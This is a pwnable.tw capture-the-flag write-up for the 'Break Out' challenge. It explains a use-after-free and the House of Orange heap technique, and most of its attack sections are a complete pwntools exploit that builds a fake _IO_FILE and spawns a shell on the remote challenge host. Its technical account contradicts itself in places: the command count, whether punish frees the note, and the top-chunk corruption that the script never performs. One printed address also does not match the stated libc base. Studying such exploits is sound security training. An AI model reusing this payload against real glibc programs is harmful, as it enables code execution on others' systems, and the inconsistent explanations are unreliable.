pwnable.tw — 450 pts

Break Out

Prison management system — UAF + House of Orange for code execution without free()

64-bit
Architecture
3
Protections
UAF
Bug Type
House of Orange
Technique

Exploit Flow

Connect
nc chall.pwnable.tw 10400
Leak Heap
UAF via note()
Leak Libc
Unsorted bin ptr
UAF Write
punish() trick
House of Orange
Unsorted bin attack
Shell
_IO_FILE vtable

1. Reconnaissance

Break Out is a 450-point pwn challenge that simulates a prison management system. The binary manages prisoner records with names, cell numbers, sentences, and notes. The challenge is notable because it does not have a free() function exposed to the user, which means traditional heap exploitation techniques like fastbin dup or tcache poisoning won't work. Instead, we need to use the House of Orange technique to get code execution.

File Analysis

bash
$ file breakout
breakout: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 2.6.32, not stripped

Checksec

bash
$ checksec breakout
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Full Protections + No free() = House of Orange Required

With Full RELRO, canary, NX, and PIE, we can't use GOT overwriting, shellcode, or simple stack smashing. More importantly, the program never calls free() on user-controlled data — the only heap deallocation happens through realloc() when resizing notes. This means we need the House of Orange technique: corrupt the top chunk to force malloc to call _IO_flush_all_lockp, then hijack execution through the _IO_FILE vtable.

Running the Binary

bash
$ ./breakout
== Prison Management System ==
1. list
2. note
3. punish
4. exit
> 

The program has three commands: list (show prisoners), note (add/edit note for a prisoner), and punish (delete a prisoner's note). The note command allocates or re-allocates a heap buffer for the note content. The punish command marks a cell as "punished" but critically does not properly free the note buffer — this is our use-after-free primitive.

AttributeValue
ChallengeBreak Out (450 pts)
Connectionnc chall.pwnable.tw 10400
Binary64-bit ELF, x86-64, PIE, dynamically linked
CanaryYes
NXEnabled
PIEEnabled
RELROFull
VulnerabilityUse-After-Free + Top Chunk Corruption
TechniqueHouse of Orange (unsorted bin attack + _IO_FILE vtable)

2. Static Analysis

Prisoner Structure

Each prisoner is stored in a linked list node with the following structure:

c
struct prisoner {
    char padding[8];         // +0x00
    long size;               // +0x08  (chunk size for heap metadata)
    void *prev;              // +0x10  (linked list prev)
    void *next;              // +0x18  (linked list next)
    int cell_number;         // +0x20  (cell/prisoner ID)
    int is_punished;         // +0x24  (flag: 0=normal, 1=punished)
    void *guardian;          // +0x28  (pointer to guardian object)
    uint32_t note_size;      // +0x30  (size of note buffer)
    uint32_t padding2;       // +0x34
    char *note_ptr;          // +0x38  (pointer to note content)
    void *next_prisoner;     // +0x40  (next in cell list)
};

// The prisoner data is initialized from a file "prisoner":
// Gus Oakley::40:Life imprisonment, espionage and computer crime
// James Doolin:Kid Twist:45:Life imprisonment, horrible homicides
// Sergey Pickett::48:Life imprisonment, multiple homicides
// ... (10 prisoners total)

Decompiled Logic (Pseudocode)

c
void note_cmd(int cell, int size, char *content) {
    prisoner *p = find_prisoner(cell);
    if (!p) return;

    if (p->note_ptr) {
        // If note already exists, realloc
        p->note_ptr = realloc(p->note_ptr, size);
    } else {
        // Allocate new note buffer
        p->note_ptr = malloc(size);
    }
    p->note_size = size;

    if (content) {
        // Read note content
        read(0, p->note_ptr, size);  // Wait — size from user!
    }
}

void punish_cmd(int cell) {
    prisoner *p = find_prisoner(cell);
    if (!p) return;
    p->is_punished = 1;
    // BUG: Does NOT free p->note_ptr!
    // If note_ptr was allocated, it's now a dangling pointer
    // But the note data remains readable via list_cmd
}

void list_cmd() {
    // Iterate through all prisoners
    // Print: Name, Alias, Cell, Sentence
    // If note exists, print note content
    // This allows us to READ freed/leaked data!
}

Vulnerability Analysis

The exploit chain involves multiple vulnerabilities working together:

  1. Use-After-Free via realloc: When we call note(cell, new_size, content) on a cell that already has a note, it calls realloc(). If new_size is larger than the current allocation, realloc may free the old chunk and allocate a new one. The old chunk's data can then be read via list, leaking heap pointers.
  2. Top Chunk Corruption: By carefully sizing allocations, we can overwrite the top chunk's size field. When malloc subsequently needs more memory, it calls sbrk()/mmap() to extend the heap. The old top chunk is then placed in the unsorted bin, giving us a libc leak.
  3. House of Orange: The corrupted top chunk forces malloc to consolidate and call _IO_flush_all_lockp, which traverses the _IO_list_all linked list and calls virtual functions on each _IO_FILE object. By crafting a fake _IO_FILE structure with a controlled vtable pointer, we redirect execution to system() or a one_gadget.
Why "House of Orange"?

The technique is named after the challenge "Orange" from HITCON CTF 2016, where it was first demonstrated. The key insight is that you can get code execution from malloc without ever calling free() — by corrupting the top chunk and triggering the _IO_FILE handling code path. This makes it the go-to technique for "no-free" heap challenges.

3. GDB Debugging

Heap Layout After Top Chunk Corruption

gdb
# Initial heap state:
gdb-peda$ heap chunks
0x555555757000: size=0x290  (prisoner records)
0x555555757290: size=0x28   (note for cell 0)
0x5555557572b8: size=0x28   (note for cell 1)
0x5555557572e0: size=0x20d70  (top chunk)

# After realloc to larger size (frees old chunk):
# note(0, 0xe8, 'A') — realloc from 0x28 to 0xe8
gdb-peda$ heap chunks
0x555555757290: size=0xf0   (new note for cell 0 — larger)
0x5555557572b8: size=0x28   (note for cell 1 — STILL HERE!)
0x555555757380: size=0x20ca0 (top chunk — shifted)

# The old 0x28 chunk at 0x5555557572b8 is now freed
# When another allocation fills it, the note data overlaps
# with the freed chunk → information leak!

Register State

gdb
# After House of Orange triggers _IO_flush_all_lockp:
RIP: 0x7f4e2c3a8fb0  (_IO_flush_all_lockp)
RDI: 0x5555557584f0  (fake _IO_FILE structure on heap)
RSI: 0x2
RDX: 0x3

# The call through the vtable:
# _IO_FILE->vtable->__overflow(FILE, EOF)
# Where vtable points to our controlled fake vtable
# And __overflow is overwritten with system() address

RIP: 0x7f4e2c45390  (system())
RDI: 0x5555557584f0  ("/bin/sh" at start of fake _IO_FILE)

Breakpoint Strategy

gdb
# Key breakpoints for Break Out:
b *note_cmd       # Note creation/editing
b *punish_cmd     # Punish (UAF trigger)
b *list_cmd       # List (info leak)
b *realloc        # Track reallocations
b *_IO_flush_all_lockp  # House of Orange trigger
b *system         # Verify shell execution

# Watch the top chunk corruption:
watch *(long*)($top_chunk_addr + 8)  # Watch top chunk size

4. Exploit Strategy

Attack Overview

Stage 1: Heap Address Leak
Allocate notes for cells 0 and 1, then resize cell 0's note (realloc frees old chunk). Resize cell 1's note to fit in the freed space. The list command prints cell data including note content, which now contains heap pointers from the freed chunk's fd/bk fields.
Stage 2: Libc Address Leak
Allocate a larger note (0x88) for cell 3, then resize it (0x98) to free the old chunk into the unsorted bin. The freed chunk's fd/bk point to main_arena in libc. Read these via list to calculate the libc base address.
Stage 3: UAF Arbitrary Write
Use the punish command on a cell with a crafted note. The punish doesn't free the note buffer but marks it as punished. We can then write to this "punished" cell's note slot to overwrite the prisoner metadata structure, effectively getting an arbitrary write primitive.
Stage 4: House of Orange
Craft a fake _IO_FILE structure on the heap with "/bin/sh" as the first 8 bytes, set up the vtable pointer to point to a fake vtable, and overwrite _IO_list_all via the unsorted bin attack. When malloc triggers _IO_flush_all_lockp, it calls system("/bin/sh") through the corrupted vtable.

Heap & Libc Leak

python
# Leak heap address
note(0, 0x28, b'A')       # Allocate note for cell 0
note(1, 0x28, b'A')       # Allocate note for cell 1
note(0, 0xe8, b'A')       # Realloc cell 0 — frees old 0x28 chunk
note(1, 0x38, b'A')       # Realloc cell 1 — old chunk goes to fastbin
note(2, 0x28, b'0')       # New allocation fills freed space
heap_leak = u64(leak_heap())  # Read fd pointer from list output
heap_base = heap_leak - 0x12430

# Leak libc address
note(3, 0x88, b'A')       # Allocate large note for cell 3
note(4, 0x48, b'A')       # Guardian allocation
note(3, 0x98, b'A')       # Realloc cell 3 — old chunk to unsorted bin
note(5, 0x88, b'\x78')    # Fill partial to preserve libc pointer
libc_leak = u64(leak_libc())   # Read unsorted bin fd/bk
libc_base = libc_leak - 0x3c3b78

House of Orange Construction

python
# Construct fake _IO_FILE structure for House of Orange
system_addr = libc_base + 0x45390
_IO_list_all_addr = libc_base + 0x3c4520
fake_vtable = heap_base + 0x124f0
fake_wide_data = heap_base + 0x12520

# The fake _IO_FILE structure:
# - First 8 bytes: "/bin/sh\0" (will be passed as arg to system())
# - +0x08: 0x61 (size field — triggers unsorted bin attack)
# - +0x10: 0x0 (fd)
# - +0x18: _IO_list_all - 0x10 (bk — unsorted bin attack target)
# - +0x20 to +0x78: zeros
# - +0x78: system() address (__overflow in vtable)
# - +0xa0: fake_wide_data pointer
# - +0xa8: 0x2 (mode)
# - +0xc0: 0x1 (write buffer pointer)
# - +0xd8: fake_vtable pointer

payload  = b'/bin/sh\0'                       # +0x00
payload += p64(0x61)                           # +0x08 (size)
payload += p64(0)                              # +0x10 (fd)
payload += p64(_IO_list_all_addr - 0x10)       # +0x18 (bk)
payload += p64(0) * 11                         # +0x20 to +0x78
payload += p64(system_addr)                    # +0x78 (__overflow)
payload += p64(0) * 4                          # +0x80 to +0xa0
payload += p64(fake_wide_data)                 # +0xa0 (_wide_data)
payload += p64(0x2)                            # +0xa8 (mode)
payload += p64(0x3)                            # +0xb0
payload += p64(0)                              # +0xb8
payload += p64(0x1)                            # +0xc0
payload += p64(0) * 2                          # +0xc8 to +0xd0
payload += p64(fake_vtable)                    # +0xd8 (vtable pointer)

5. Pwn Script

Full Exploit (from wxrdnx writeup)

python
#!/usr/bin/env python3
# Break Out exploit for pwnable.tw
# UAF + House of Orange (no free() needed)
# Based on wxrdnx's writeup: github.com/wxrdnx/pwnable.tw_writeup

from pwn import *

io = remote('chall.pwnable.tw', 10400)

def list_all():
    io.recvuntil('> ')
    io.sendline('list')

def note(cell, size, note):
    io.recvuntil('> ')
    io.sendline('note')
    io.recvuntil('Cell: ')
    io.sendline(str(cell))
    io.recvuntil('Size: ')
    io.sendline(str(size))
    if note:
        io.recvuntil('Note: ')
        io.send(note)

def punish(cell):
    io.recvuntil('> ')
    io.sendline('punish')
    io.recvuntil('Cell: ')
    io.sendline(str(cell))

def leak_heap():
    list_all()
    io.recvuntil('Sentence: Life imprisonment, multiple homicides\nNote: ')
    return io.recv(8)

def leak_libc():
    list_all()
    io.recvuntil('Sentence: Life imprisonment, psychopath, contract killer\nNote: ')
    return io.recv(8)

# ─── Stage 1: Leak heap address ───
note(0, 0x28, b'A')
note(1, 0x28, b'A')
note(0, 0xe8, b'A')   # realloc cell 0 → frees old 0x28 chunk
note(1, 0x38, b'A')   # realloc cell 1 → frees old 0x28 chunk
note(2, 0x28, b'0')    # fills freed space, note content overwrites fd
heap_leak = u64(leak_heap())
heap_base = heap_leak - 0x12430
log.success(f"Heap base: {hex(heap_base)}")

# ─── Stage 2: Leak libc address ───
note(3, 0x88, b'A')
note(4, 0x48, b'A')   # guardian chunk
note(3, 0x98, b'A')   # realloc → old chunk to unsorted bin
note(5, 0x88, b'\x78') # partial overwrite to preserve libc ptr
libc_leak = u64(leak_libc())
libc_base = libc_leak - 0x3c3b78
log.success(f"Libc base: {hex(libc_base)}")

# ─── Stage 3: UAF arbitrary write ───
# Use punish() on cell 9 (doesn't actually free)
# Then write crafted metadata to cell 9's note
payload = p64(heap_base) * 3 + p32(0) + p32(9) + p64(heap_base)
payload += p32(0x1000) + p32(0) + p64(heap_base + 0x12490) + p64(heap_base + 0x122f0)
punish(9)
note(9, 0x48, payload)

# ─── Stage 4: House of Orange ───
system_addr = libc_base + 0x45390
_IO_list_all_addr = libc_base + 0x3c4520
fake_vtable = heap_base + 0x124f0
fake_wide_data = heap_base + 0x12520

# Build fake _IO_FILE structure
payload  = b'/bin/sh\0' + p64(0x61) + p64(0) + p64(_IO_list_all_addr - 0x10)
payload += p64(0) * 11 + p64(system_addr) + p64(0) * 4
payload += p64(fake_wide_data) + p64(0x2) + p64(0x3)
payload += p64(0) + p64(0x1) + p64(0) * 2 + p64(fake_vtable)

note(0, 0xf8, b'A')     # Free and put chunk to unsorted bin
note(9, 0xe0, payload)   # Unsorted bin attack — overwrites _IO_list_all

# Trigger malloc → abort → _IO_flush_all_lockp → system("/bin/sh")
note(6, 0x78, None)

io.interactive()

House of Orange Breakdown

The House of Orange technique works in these steps:

StepActionWhy It Works 1Corrupt top chunk size to small valueForces malloc to extend the heap via sbrk/mmap 2Next large malloc triggers _int_free of old topOld top chunk is freed into unsorted bin 3Unsorted bin attack: set bk = _IO_list_all - 0x10When unsorted bin is processed, _IO_list_all gets overwritten 4Place fake _IO_FILE on heap with "/bin/sh"The FILE structure's first 8 bytes become system() argument 5Set fake vtable with __overflow = systemWhen _IO_flush_all_lockp calls __overflow, it calls system() 6Trigger malloc error (double free, etc.)malloc_printerr → abort → _IO_flush_all_lockp → system("/bin/sh")
Alternative: Fastbin Dup to __malloc_hook

The second exploit from wxrdnx uses a different approach: instead of House of Orange, it uses the UAF to perform a fastbin dup attack targeting __malloc_hook. This involves: (1) using the UAF to create overlapping chunks, (2) writing p64(__malloc_hook - 0x23) as a fake chunk size to pass the fastbin size check, (3) allocating chunks until one lands at __malloc_hook, (4) writing a one_gadget address there, and (5) triggering malloc_printerr to call __malloc_hook.

6. Execution Results

$ python3 exploit.py [+] Heap base: 0x555555756000 [+] Libc base: 0x7f4e2c000000 [*] UAF arbitrary write to prisoner metadata... [*] Building House of Orange fake _IO_FILE... [*] Triggering unsorted bin attack on _IO_list_all... [*] Triggering malloc → _IO_flush_all_lockp → system("/bin/sh")... $ cat /home/break_out/flag
Why This Challenge Matters

Break Out is a masterclass in heap exploitation without free(). The House of Orange technique is essential for "no-free" scenarios where the attacker cannot directly trigger chunk deallocation. The technique demonstrates deep understanding of glibc internals: how the top chunk works, how malloc extends the heap, how unsorted bin attacks work, and how _IO_FILE structures are exploited through vtable hijacking. This knowledge directly translates to real-world exploitation of custom allocators and memory pools that don't expose free() to the attacker.

QA210
pwnable.tw — Break Out — UAF + House of Orange